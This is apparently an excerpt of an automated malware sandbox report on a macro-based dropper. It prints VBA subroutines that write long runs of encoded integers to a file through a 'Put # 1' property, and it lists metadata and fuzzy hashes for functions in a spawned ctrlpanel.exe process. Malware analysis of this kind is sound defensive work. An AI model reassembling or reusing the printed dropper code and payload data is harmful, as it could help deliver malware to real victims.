5178	Y = - 6842213
5179	Y = - 20592438
5180	Y = - 1578261
5181	Y = - 1644054
5182	Y = - 1644310
5183	Y = - 1710103
5184	Y = - 3683893
5185	Y = - 6710112
5186	Y = - 4933700
5187	Y = - 291659868
5188	Y = 905969664
5189	Y = 16777216
5190	For I = 1 To 20
5191	Y = 0
5192	Next
5193	Y = 204616242
5194	Y = 1196708948
5195	Y = - 1110783030
5196	Y = - 525832
5197	Y = - 591624
5198	Y = - 309555569
5199	Y = - 5789267
5200	Y = - 5131336
5201	Y = - 1336848045
5202	Y = - 944260680
5203	Y = - 920589
5204	Y = - 986382
5205	Y = - 1052175
5206	Y = - 1117968
5207	Y = - 6315870
5208	Y = - 6710626
5209	Y = - 5986902
5210	Y = - 732144289
5211	Y = - 186851617
5212	Y = - 1512725
5213	Y = - 1578517
5214	Y = - 1644310
5215	Y = - 1710103
5216	Y = - 6184025
5217	Y = - 4868164
5218	Y = - 4736578
5219	Y = 1346782792
5220	Y = 50331648
5221	For I = 1 To 20
5222	Y = 0
5223	Next
5224	Y = 20066866
5225	Y = 204616242
5226	Y = 775041586
5227	Y = 1904641670
5228	Y = - 2036293216
5229	Y = 1276647448
5230	Y = - 2107942051
5231	Y = - 1804109445
5232	Y = 1058477847
5233	Y = - 1583045211
5234	Y = - 854796
5235	Y = - 920589
5236	Y = - 986382
5237	Y = - 1052174
5238	Y = - 6644834
5239	Y = - 4999752
5240	Y = - 4670786
5241	Y = - 2075834808
5242	Y = 1952802406
5243	Y = - 253631515
5244	Y = - 1512724
5245	Y = - 271724335
5246	Y = - 57108069
5247	Y = - 5526352
5248	Y = - 190207058
5249	Y = - 2041096102
5250	Y = 452984832
5251	Y = 16777216
5252	For I = 1 To 22
5253	Y = 0
5254	Next
5255	Y = 70398514
5256	Y = 238170674
5257	Y = 271725106
5258	Y = 169745950
5259	Y = 234881024
5260	Y = 268435456
5261	Y = 354624291
5262	Y = 1937735808
5263	Y = - 723211
5264	Y = - 789004
5265	Y = - 854797
5266	Y = - 920589
5267	Y = - 6776163
5268	Y = - 4604993
5269	Y = - 4473407
5270	Y = 1124205058
5271	Y = 523054381
5272	Y = 1804176010
5273	Y = - 2053662567
5274	Y = 1361323044
5275	Y = - 2074453155
5276	Y = - 1686932361
5277	Y = 989855744
5278	Y = 352321536
5279	Y = 67108864
5280	For I = 1 To 29
5281	Y = 0
5282	Next
5283	Y = 53621298
5284	Y = 791818802
5285	Y = - 925378345
5286	Y = - 723211
5287	Y = - 789003
5288	Y = - 120927028
5289	Y = - 5723732
5290	Y = - 4342078
5291	Y = - 543055194
5292	Y = 654311424
5293	Y = 70398514
5294	Y = 238170674
5295	Y = 271725106
5296	Y = 169745950
5297	Y = 234881024
5298	Y = 268435456
5299	Y = 100663296
5300	For I = 1 To 32
5301	Y = 0
5302	Next
5303	Y = 204616242
5304	Y = 657601074
5305	Y = 993145394
5306	Y = 1143679787
5307	Y = 1209735963
5308	Y = 1124599816
5309	Y = 989855744
5310	Y = 654311424
5311	Y = 184549376
5312	End Sub

Subroutine
CheckHash7APIs: 0, Strings: 0, Number of lines: 445, Relevance: 0.445

Line	Instruction	Meta Information
6915	Private Sub CheckHash7()
6916	Y = 1885420576	executed
6917	Y = 1667853424
6918	Y = 1869182049
6919	Y = 168640110
6920	Y = 538976288
6921	Y = 557588512
6922	Y = - 803197651
6923	Y = - 792735583
6924	Y = - 796798536
6925	Y = 549114046
6926	Y = - 1244613936
6927	Y = - 2116976431
6928	Y = - 1177503536
6929	Y = 1852397344
6930	Y = 1937207140
6931	Y = - 1261428692
6932	Y = - 1882080304
6933	Y = - 796864224
6934	Y = - 793653072
6935	Y = - 779955778
6936	Y = - 2117001077
6937	Y = - 793063392
6938	Y = - 796732994
6939	Y = - 780086850
6940	Y = - 792932213
6941	Y = - 1076879176
6942	Y = - 1244626735
6943	Y = - 1110395696
6944	Y = - 1211060016
6945	Y = - 1328497200
6946	Y = - 1244624943
6947	Y = - 1093616176
6948	Y = - 793456608
6949	Y = - 792866640
6950	Y = - 792801091
6951	Y = - 1076879179
6952	Y = - 1194295087
6953	Y = - 1093616688
6954	Y = - 1244612912
6955	Y = - 1194279472
6956	Y = 539932112
6957	Y = 538970637
6958	Y = 538976288
6959	Y = 1684957527
6960	Y = 544438127
6961	Y = - 1294946096
6962	Y = - 1093631279
6963	Y = - 1328497456
6964	Y = - 1194294575
6965	Y = - 1244624943
6966	Y = - 1160740399
6967	Y = - 803161904
6968	Y = - 796143182
6969	Y = - 776613711
6970	Y = - 776613760
6971	Y = - 1110433662
6972	Y = - 1194282800
6973	Y = - 1093619248
6974	Y = - 1244611632
6975	Y = - 786385456
6976	Y = - 792801151
6977	Y = - 792932174
6978	Y = - 780021323
6979	Y = - 793194366
6980	Y = - 779890244
6981	Y = - 2117001074
6982	Y = - 1244626735
6983	Y = - 2083408688
6984	Y = 1043148078
6985	Y = 168626701
6986	Y = 538976288
6987	Y = 557588512
6988	Y = - 803197651
6989	Y = - 796798571
6990	Y = 548982971
6991	Y = - 2133737520
6992	Y = - 1143949104
6993	Y = - 1227833648
6994	Y = - 1110395440
6995	Y = - 1244612400
6996	Y = - 775958496
6997	Y = - 793390976
6998	Y = - 792866636
6999	Y = - 793259856
7000	Y = - 776941379
7001	Y = - 793390969
7002	Y = 549376189
7003	Y = - 1143950128
7004	Y = - 786395183
7005	Y = - 793718656
7006	Y = - 776023887
7007	Y = 546034050
7008	Y = 1461748177
7009	Y = 1868852841
7010	Y = 1444967287
7011	Y = 1635021673
7012	Y = - 2117001172
7013	Y = - 1194279472
7014	Y = - 1194279728
7015	Y = - 1244626223
7016	Y = - 793063392
7017	Y = - 792932162
7018	Y = - 793390916
7019	Y = - 796732995
7020	Y = - 796864080
7021	Y = 549048504
7022	Y = - 1093631535
7023	Y = - 796798688
7024	Y = - 793390917
7025	Y = - 779890252
7026	Y = - 796274290
7027	Y = - 793521995
7028	Y = - 2083446594
7029	Y = - 1143949360
7030	Y = 1931522256
7031	Y = 1869639797
7032	Y = 1684370546
7033	Y = 757945167
7034	Y = 537529662
7035	Y = 538976288
7036	Y = 757152800
7037	Y = 1970486317
7038	Y = 1919905904
7039	Y = 1331979636
7040	Y = 1682514003
7041	Y = 1702568509
7042	Y = 825307186
7043	Y = 758592820
7044	Y = 909391153
7045	Y = 1664300077
7046	Y = 895561013
7047	Y = 808281446
7048	Y = 1701066800
7049	Y = 1681089893
7050	Y = 2100323891
7051	Y = 792477218
7052	Y = 1886418291
7053	Y = 1702130287
7054	Y = 1045647204
7055	Y = 222178605
7056	Y = 537529610
7057	Y = 538976288
7058	Y = 757152800
7059	Y = - 1781522387
7060	Y = - 1143963183
7061	Y = - 803161904
7062	Y = - 776941390
7063	Y = 548786312
7064	Y = - 2133737520
7065	Y = - 1143949104
7066	Y = - 1227833648
7067	Y = - 1110395440
7068	Y = - 1244612400
7069	Y = - 775958496
7070	Y = - 793390976
7071	Y = - 792866636
7072	Y = - 793259856
7073	Y = - 776941379
7074	Y = - 793390969
7075	Y = 549376189
7076	Y = - 1143950128
7077	Y = - 786395183
7078	Y = - 793718656
7079	Y = - 776023887
7080	Y = 546034050
7081	Y = 1461748177
7082	Y = 1868852841
7083	Y = 924873591
7084	Y = - 2133778388
7085	Y = - 2116964144
7086	Y = - 1093616944
7087	Y = - 1127170864
7088	Y = - 1110395440
7089	Y = - 1194294575
7090	Y = - 2083421999
7091	Y = - 2100184624
7092	Y = - 786385456
7093	Y = - 792997759
7094	Y = - 776679243
7095	Y = - 779169405
7096	Y = - 793194359
7097	Y = - 2083446599
7098	Y = - 1244612656
7099	Y = 1931525072
7100	Y = 1869639797
7101	Y = 1684370546
7102	Y = 757945167
7103	Y = 537529662
7104	Y = 538976288
7105	Y = 757152800
7106	Y = 1970486317
7107	Y = 1919905904
7108	Y = 1331979636
7109	Y = 1682514003
7110	Y = 863707709
7111	Y = 942879029
7112	Y = 761346402
7113	Y = 909730869
7114	Y = 1650865197
7115	Y = 1698180452
7116	Y = 1630364722
7117	Y = 808727602
7118	Y = 1714762290
7119	Y = 2103522105
7120	Y = 759050018
7121	Y = 168640045
7122	Y = 538970637
7123	Y = 538976288
7124	Y = 757932348
7125	Y = - 778711008
7126	Y = - 792997759
7127	Y = - 1076879176
7128	Y = - 1194295087
7129	Y = - 1093616688
7130	Y = - 1244612912
7131	Y = - 1194279472
7132	Y = - 803162672
7133	Y = - 796864065
7134	Y = - 793456459
7135	Y = - 793718595
7136	Y = - 792866633
7137	Y = - 796405328
7138	Y = - 792866635
7139	Y = - 1261428546
7140	Y = - 1882080304
7141	Y = - 796864224
7142	Y = - 793653072
7143	Y = - 779955778
7144	Y = - 2117001077
7145	Y = 1852397344
7146	Y = 1937207140
7147	Y = 539768864
7148	Y = - 1110408751
7149	Y = - 1127171888
7150	Y = - 2100184880
7151	Y = - 803162672
7152	Y = - 792801094
7153	Y = - 792932164
7154	Y = - 776089419
7155	Y = - 776941438
7156	Y = - 793194368
7157	Y = - 2117001031
7158	Y = - 786383152
7159	Y = - 792997759
7160	Y = - 776679243
7161	Y = - 779169405
7162	Y = - 793390967
7163	Y = 549376179
7164	Y = - 1211071535
7165	Y = - 1328497712
7166	Y = 1886745376
7167	Y = 1953656688
7168	Y = 1397711973
7169	Y = 222178605
7170	Y = 538976266
7171	Y = 1008738336
7172	Y = 1009593633
7173	Y = 1886418291
7174	Y = 1702130287
7175	Y = 542330724
7176	Y = 574448713
7177	Y = 845231227
7178	Y = 1698181734
7179	Y = 859122995
7180	Y = 875379042
7181	Y = 758199348
7182	Y = 1664704866
7183	Y = 959865901
7184	Y = 878785636
7185	Y = 862271073
7186	Y = 1042447672
7187	Y = 1970483004
7188	Y = 1919905904
7189	Y = 1331979636
7190	Y = 757939795
7191	Y = 218762558
7192	Y = 538976266
7193	Y = 1630485536
7194	Y = 1768714352
7195	Y = 1769234787
7196	Y = 222195311
7197	Y = 1008738314
7198	Y = 1836016431
7199	Y = 1769234800
7200	Y = 1768712546
7201	Y = 222198132
7202	Y = 537529610
7203	Y = 757152800
7204	Y = - 1831854035
7205	Y = - 1143948592
7206	Y = - 2016309551
7207	Y = - 2100184880
7208	Y = - 786385456
7209	Y = - 793390974
7210	Y = 546034108
7211	Y = - 1143950128
7212	Y = - 803172399
7213	Y = - 793718595
7214	Y = - 793653064
7215	Y = - 792997698
7216	Y = 548786357
7217	Y = - 1311719728
7218	Y = - 1194292783
7219	Y = - 786397743
7220	Y = - 792997747
7221	Y = - 792932171
7222	Y = - 776089419
7223	Y = - 792801150
7224	Y = - 2083446606
7225	Y = - 2133737520
7226	Y = - 1294946096
7227	Y = - 1244611632
7228	Y = - 1194279472
7229	Y = - 803172399
7230	Y = - 1261428552
7231	Y = - 1328498480
7232	Y = - 1093616688
7233	Y = - 1093618736
7234	Y = - 1949191472
7235	Y = - 803174959
7236	Y = - 793063234
7237	Y = 549310654
7238	Y = 1684957527
7239	Y = 544438127
7240	Y = 1852397352
7241	Y = 1937207140
7242	Y = 542136352
7243	Y = - 803161904
7244	Y = - 776023873
7245	Y = - 792997759
7246	Y = - 776679243
7247	Y = - 779169405
7248	Y = - 793194359
7249	Y = - 1294982987
7250	Y = - 2133740080
7251	Y = - 1194294831
7252	Y = 539605200
7253	Y = 222178605
7254	Y = 1008738314
7255	Y = 539831585
7256	Y = 1885692988
7257	Y = 1701080677
7258	Y = 1048142702
7259	Y = 538970637
7260	Y = 1681661984
7261	Y = 1852141669
7262	Y = 1953391972
7263	Y = 1702064961
7264	Y = 2037146221
7265	Y = 537529662
7266	Y = 538976288
7267	Y = 1935752224
7268	Y = 1651336563
7269	Y = 1682536812
7270	Y = 1769238117
7271	Y = 168655220
7272	For I = 1 To 2
7273	Y = 538976288
7274	Next
7275	Y = 2037653536
7276	Y = 574449008
7277	Y = 862873975
7278	Y = 168632882
7279	For I = 1 To 2
7280	Y = 538976288
7281	Next
7282	Y = 1634607136
7283	Y = 574449005
7284	Y = 1919117645
7285	Y = 1718580079
7286	Y = 1767321204
7287	Y = 2003788910
7288	Y = 1866673779
7289	Y = 1852796269
7290	Y = 1852785453
7291	Y = 1819243124
7292	Y = 168632947
7293	For I = 1 To 2
7294	Y = 538976288
7295	Next
7296	Y = 1702240288
7297	Y = 1869181810
7298	Y = 908213614
7299	Y = 808333358
7300	Y = 220344366
7301	Y = 538976266
7302	Y = 538976288
7303	Y = 1881153568
7304	Y = 1701015410
7305	Y = 1919906675
7306	Y = 1751347777
7307	Y = 1667593321
7308	Y = 1701999988
7309	Y = 573186621
7310	Y = 538970637
7311	For I = 1 To 2
7312	Y = 538976288
7313	Next
7314	Y = 1818391920
7315	Y = 1699439465
7316	Y = 1802458233
7317	Y = 574451301
7318	Y = 892941622
7319	Y = 825505378
7320	Y = 1667445812
7321	Y = 1717842278
7322	Y = 537529634
7323	For I = 1 To 2
7324	Y = 538976288
7325	Next
7326	Y = 1851878432
7327	Y = 1734440295
7328	Y = 706887013
7329	Y = 537529634
7330	Y = 538976288
7331	Y = 790634528
7332	Y = 537529662
7333	Y = 1008738336
7334	Y = 1885692975
7335	Y = 1701080677
7336	Y = 1933669486
7337	Y = 1651336563
7338	Y = 222198124
7339	Y = 1008738314
7340	Y = 1885692975
7341	Y = 1701080677
7342	Y = 1048142702
7343	Y = 222178605
7344	Y = 1007291658
7345	Y = 1836278063
7346	Y = 1631203702
7347	Y = 1835365235
7348	Y = 1048144994
7349	Y = 2573
7350	For I = 1 To 84
7351	Y = 0
7352	Next
7353	Y = 20480
7354	Y = 12
7355	Y = 12928
7356	For I = 1 To 125
7357	Y = 0
7358	Next
7359	End Sub

Property
Let YAPIs: 0, Strings: 0, Number of lines: 3, Relevance: 0.003

Line	Instruction	Meta Information
12	Private Property Let Y(Value as Long)
13	Put # 1, , Value	executed
14	End Property

Reset < >

Analysis Process: ctrlpanel.exePID: 724, Parent PID: 924COMMON

Executed Functions

Function 000007FF0016232D Relevance: .6, Instructions: 554COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.635836318.000007FF00160000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FF00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff00160000_ctrlpanel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b975d8dd824ccd9dd96ac15d29fc0c4dcb8884777d15a90e98de6a78d66e717a
Instruction ID: 7a1c7148c68de8d9475e49fe1c92788cdf480851a328943bd7aa232895b6b83b
Opcode Fuzzy Hash: b975d8dd824ccd9dd96ac15d29fc0c4dcb8884777d15a90e98de6a78d66e717a
Instruction Fuzzy Hash: 1A02F53050DB854FEB569B289C55BB53FE1EF5B310F5A40EEE489CB1A3DE28A845C341

Uniqueness

Uniqueness Score: -1.00%

Function 000007FF001611DC Relevance: 1.4, Instructions: 1379COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.635836318.000007FF00160000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FF00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff00160000_ctrlpanel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3d19260ed363c25ede06f10299e9d5b2575fecd5b94293edc3c7712a4528c2d
Instruction ID: 428125a1f48e6401ce61412fb6e3c49960dd9b9d27731510b8cda33a246576e8
Opcode Fuzzy Hash: f3d19260ed363c25ede06f10299e9d5b2575fecd5b94293edc3c7712a4528c2d
Instruction Fuzzy Hash: 6FA27330618A8D8FEBA5EF28C8997E97BE1FF59301F14016AE84DC72A2DF349945C741

Uniqueness

Uniqueness Score: -1.00%

Function 000007FF0016319A Relevance: .4, Instructions: 420COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.635836318.000007FF00160000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FF00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff00160000_ctrlpanel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 877211e53d0e72a970236bd1ed4cb5ae866fb84715805c40a6fba1a614a2e74f
Instruction ID: 9219c4126a7a9c34d005b52fda20afa110555636028c406360216f5155149349
Opcode Fuzzy Hash: 877211e53d0e72a970236bd1ed4cb5ae866fb84715805c40a6fba1a614a2e74f
Instruction Fuzzy Hash: 6DE11C30518A4D8FEBA5EF28D885BED77E1FF59300F504566E80ECB1A2DF75AA448B40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FF00160CFD Relevance: .4, Instructions: 397COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.635836318.000007FF00160000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FF00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff00160000_ctrlpanel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb1647802db1943301d33c0fefee3652b2663a679ce005c27306c714a6695539
Instruction ID: 5d099e1345380e37652eb2efd0c965711d29cd127665f6e1f94b1c19f4d11e05
Opcode Fuzzy Hash: fb1647802db1943301d33c0fefee3652b2663a679ce005c27306c714a6695539
Instruction Fuzzy Hash: 8EA1E62075CB890FD7429B3898547B57BE1EF8A325F4945FBE089CB2E3DA6CD8098351

Uniqueness

Uniqueness Score: -1.00%

Function 000007FF001608D9 Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.635836318.000007FF00160000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FF00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff00160000_ctrlpanel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 953ae1f897f04520a73ae2d4b3c79fcadc55fcba1edf1b003f8fcc894db0141b
Instruction ID: 70031b4d12b63a1d2ca00626b58e43d640475887e3fb96ff51f185e0c9744a7c
Opcode Fuzzy Hash: 953ae1f897f04520a73ae2d4b3c79fcadc55fcba1edf1b003f8fcc894db0141b
Instruction Fuzzy Hash: 3CA1923060DB894FEB46EF28C8957A97BE1FF5A304F1500ABE44ACB293DB389845C751

Uniqueness

Uniqueness Score: -1.00%

Function 000007FF00162A1A Relevance: .2, Instructions: 227COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.635836318.000007FF00160000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FF00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff00160000_ctrlpanel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 147cb00499dad34848a632d7c57de8af5a10348e65a593baa6e8a6c651b09371
Instruction ID: 9cde90c23737156843e5536a3bf315eb1592e0c40ca9005c8393af1c48c425b5
Opcode Fuzzy Hash: 147cb00499dad34848a632d7c57de8af5a10348e65a593baa6e8a6c651b09371
Instruction Fuzzy Hash: 0251DD31718B894FEBA5DF2898597E93BE0FF49311F5401BAE44DCB293CA3899498781

Uniqueness

Uniqueness Score: -1.00%

Function 000007FF0016058D Relevance: .2, Instructions: 209COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.635836318.000007FF00160000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FF00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff00160000_ctrlpanel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe50e91d5394ac6cbc2a887846f8f5635bcf2dbbcc223ec11c749a466e1dc576
Instruction ID: f0f761691a68e59f35c52b885ef8d8e4420d450c5788a071e8f16d3aa5cfc4f7
Opcode Fuzzy Hash: fe50e91d5394ac6cbc2a887846f8f5635bcf2dbbcc223ec11c749a466e1dc576
Instruction Fuzzy Hash: 0951B521B0DBC90FE74A972C68657693FE2EF8B240B5501EBE44ECB2E3DD185D098312

Uniqueness

Uniqueness Score: -1.00%

Function 000007FF0016285D Relevance: .2, Instructions: 178COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.635836318.000007FF00160000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FF00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff00160000_ctrlpanel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9fa48ab495215772cd173904abea478ef1abda97f637f5d5787e24970095637
Instruction ID: 5eb83bce61d539fe0aa4ae46e7de426300007ca8d4251c3dc1335c6eb54af614
Opcode Fuzzy Hash: b9fa48ab495215772cd173904abea478ef1abda97f637f5d5787e24970095637
Instruction Fuzzy Hash: 05517F2060C7C94FE7569F6888547E47FE1EF57310F4980EAD08DCB1A3CA78894ACB91

Uniqueness

Uniqueness Score: -1.00%

Function 000007FF00162C5E Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.635836318.000007FF00160000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FF00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff00160000_ctrlpanel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9aa2214449b1d5f900787ef678466ac65b5d3e321e3e9929f35876b2ee016fb5
Instruction ID: 45587e7badf9f00a52176658ccf58e213160a28e86765daf05358536146f1e2b
Opcode Fuzzy Hash: 9aa2214449b1d5f900787ef678466ac65b5d3e321e3e9929f35876b2ee016fb5
Instruction Fuzzy Hash: 54419030618A8D9FEB91DF28C854BE93BE1FF59305F4441AAF40DCB2A2DB78D9448780

Uniqueness

Uniqueness Score: -1.00%

Function 000007FF00162E42 Relevance: .2, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.635836318.000007FF00160000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FF00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff00160000_ctrlpanel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f909dddbf4e626c536621bb1261ed28b23dee6ee90c5264db406925d212d7315
Instruction ID: d137a125be0ac2f320882a951e11cc0f9dccda0fcbc36707d3bb3b2371a426b7
Opcode Fuzzy Hash: f909dddbf4e626c536621bb1261ed28b23dee6ee90c5264db406925d212d7315
Instruction Fuzzy Hash: 58418D31618A4D9FEB94DF28D844BE93BE1FF58310F5541BAF80DC7292DB7899848780

Uniqueness

Uniqueness Score: -1.00%

Function 000007FF001639C5 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.635836318.000007FF00160000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FF00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff00160000_ctrlpanel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c0583cb49d3fed4c5022966cdb5882aaa1dae86ac97e64dde4a6143f1204726
Instruction ID: c98e709d5fc367626b32ae3d60ddb14dac580230efdf790ef126eddcd43fb8e9
Opcode Fuzzy Hash: 3c0583cb49d3fed4c5022966cdb5882aaa1dae86ac97e64dde4a6143f1204726
Instruction Fuzzy Hash: A1417F70619A8D8FEB95DF28C854BE93BE1FF59301F4441BAE44DC7292DB78DA448780

Uniqueness

Uniqueness Score: -1.00%

Function 000007FF00163022 Relevance: .1, Instructions: 131COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.635836318.000007FF00160000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FF00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff00160000_ctrlpanel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb7bf5871e8f9b02ef37d617e218b92818a9056e1550c7185b2dc2331216eb80
Instruction ID: 959c2b4da9ec755aaf852107369207136395ff95f451c07b24ddba050bc8449a
Opcode Fuzzy Hash: cb7bf5871e8f9b02ef37d617e218b92818a9056e1550c7185b2dc2331216eb80
Instruction Fuzzy Hash: B031AD71618A4D5FEBA4DF289C45BEA3BE1FF59300F54417AA40ECB293CB389A458780

Uniqueness

Uniqueness Score: -1.00%

Function 000007FF0016009A Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.635836318.000007FF00160000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FF00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff00160000_ctrlpanel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: afffc6c2a9682cc1b93adea21863443eb82f5713a680b204ca2469957fee88b3
Instruction ID: ab53476283579a8dcf7e7974bb431b3122a62bba1462799ed43017ab40cde0fb
Opcode Fuzzy Hash: afffc6c2a9682cc1b93adea21863443eb82f5713a680b204ca2469957fee88b3
Instruction Fuzzy Hash: D021361265E7D55FE30317342CA56B53FB09F8710171A02E7E88ACB1A3D8184FACC322

Uniqueness

Uniqueness Score: -1.00%

Function 000007FF00160C19 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.635836318.000007FF00160000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FF00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff00160000_ctrlpanel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 190acd2e7819b8b2b5d5d979b587eb61d45b2461f307e9c0ae4d4ba2e39b29fa
Instruction ID: ccee1456bb41c0e789680c1fb2e4ac952d0a8d143680e9b700209f5f3b62a9ac
Opcode Fuzzy Hash: 190acd2e7819b8b2b5d5d979b587eb61d45b2461f307e9c0ae4d4ba2e39b29fa
Instruction Fuzzy Hash: A6218C7000E3C86FD7435B74D855AA17FB4EF0B214F1A80CAE0C98F063D7658A1ADBA2

Uniqueness

Uniqueness Score: -1.00%

Function 000007FF00160199 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.635836318.000007FF00160000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FF00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff00160000_ctrlpanel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26aeb549be2fc2ec57c6d21a86c7c607094dde67fb43e73aedbc3c25d3d6ed0b
Instruction ID: 0cb7bbc8f13ec7794147c9bc23e405f2b2970f6b1fa14e7172b04f634f7556ee
Opcode Fuzzy Hash: 26aeb549be2fc2ec57c6d21a86c7c607094dde67fb43e73aedbc3c25d3d6ed0b
Instruction Fuzzy Hash: 4A112F20709A891FE746EB3C94A57697BE1EF5A205F2504F7D00DC71E3DA289C59C340

Uniqueness

Uniqueness Score: -1.00%

Function 000007FF001607FB Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.635836318.000007FF00160000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FF00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff00160000_ctrlpanel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6d7531993f4b68e8902bd73586a7ab97da654c512d5a66d578d5f2ae14bbf85
Instruction ID: bcd95778a6674f9a9d6625402df51b72bb72cf208f6c8ab55586ec11a3f5c4b3
Opcode Fuzzy Hash: a6d7531993f4b68e8902bd73586a7ab97da654c512d5a66d578d5f2ae14bbf85
Instruction Fuzzy Hash: 6321B16140E3C55FE3539B3898A5AA53FA1AF47314F4E41DAD0C9CF0E3DA19491AC3A3

Uniqueness

Uniqueness Score: -1.00%

Function 000007FF001610D9 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.635836318.000007FF00160000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FF00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff00160000_ctrlpanel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a084ec831c12c1fc6c7d251fce4f264d94c8633f45397aa4918627159c150112
Instruction ID: 29b3e3c6ae8a390a10df0c159f49a771027fd9c8bb3784505a2b196030f1ef71
Opcode Fuzzy Hash: a084ec831c12c1fc6c7d251fce4f264d94c8633f45397aa4918627159c150112
Instruction Fuzzy Hash: 3A11A1716187899FDB429B7498947753BF0FF07305F0900EAE48ACF1A3DB289809C752

Uniqueness

Uniqueness Score: -1.00%

Function 000007FF0016103C Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.635836318.000007FF00160000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FF00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff00160000_ctrlpanel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ceace45c34eec95fb454b566683c8d8782c874c55823d9af2f64a44334457b9
Instruction ID: 12d1d4917d10a927aa062ec9c5bba0669d94b4215a6871d6cc7c94e43a4591fa
Opcode Fuzzy Hash: 0ceace45c34eec95fb454b566683c8d8782c874c55823d9af2f64a44334457b9
Instruction Fuzzy Hash: 26018C6290E7C85FE74397385C217A53FA2AF43204F1A02D7E489CB1E3CA181A98D363

Uniqueness

Uniqueness Score: -1.00%

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

